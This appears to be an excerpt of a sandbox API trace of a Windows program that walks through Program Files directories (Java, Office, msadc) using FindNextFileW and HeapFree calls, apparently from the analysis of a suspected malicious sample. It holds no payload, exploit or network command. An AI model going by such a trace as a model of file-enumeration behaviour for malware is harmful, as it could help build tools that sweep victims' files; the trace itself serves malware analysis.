	[0062.705] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1
	[0062.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.727] FindNextFileW (in: hFindFile=0x5e03b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1
	[0062.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.727] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1
	[0062.730] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.731] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1
	[0062.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.731] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0062.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.731] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0
	[0062.731] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0062.731] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.733] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0062.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.735] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0062.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.735] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1
	[0062.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.736] FindNextFileW (in: hFindFile=0x5e0a30, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0062.736] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.736] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x61124797, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x61124797, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1
	[0062.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.738] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0062.741] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.741] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0062.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.742] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0062.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.743] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0062.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.747] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1
	[0062.748] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.748] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0062.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.749] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0062.754] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.755] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0062.758] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0062.758] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0062.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0062.761] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0062.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0062.764] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0062.764] FindClose (in: hFindFile=0x5e02f0 | out: hFindFile=0x5e02f0) returned 1
	[0062.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0062.766] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0063.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0063.889] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0063.896] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0063.896] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0063.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0063.903] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0063.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0063.903] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0063.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0063.905] FindNextFileW (in: hFindFile=0x5e04f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e20fb10, ftCreationTime.dwHighDateTime=0x1d4ef59, ftLastAccessTime.dwLowDateTime=0xd1c6580, ftLastAccessTime.dwHighDateTime=0x1d54886, ftLastWriteTime.dwLowDateTime=0xd1c6580, ftLastWriteTime.dwHighDateTime=0x1d54886, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="writes-heroes-spies.exe", cAlternateFileName="WRITES~1.EXE")) returned 1
	[0063.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0063.906] FindNextFileW (in: hFindFile=0x5e0930, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0063.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0063.908] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0063.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0063.913] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0063.917] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0063.917] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0065.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39e8 | out: hHeap=0x4f0000) returned 1
	[0065.001] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0065.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39f8 | out: hHeap=0x4f0000) returned 1
	[0065.003] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0065.003] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0065.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39e8 | out: hHeap=0x4f0000) returned 1
	[0065.003] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0065.003] FindClose (in: hFindFile=0x5e04b0 | out: hFindFile=0x5e04b0) returned 1
	[0065.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0065.003] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0065.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39e8 | out: hHeap=0x4f0000) returned 1
	[0065.005] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0065.606] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39e8 | out: hHeap=0x4f0000) returned 1
	[0065.606] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0065.608] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39e8 | out: hHeap=0x4f0000) returned 1
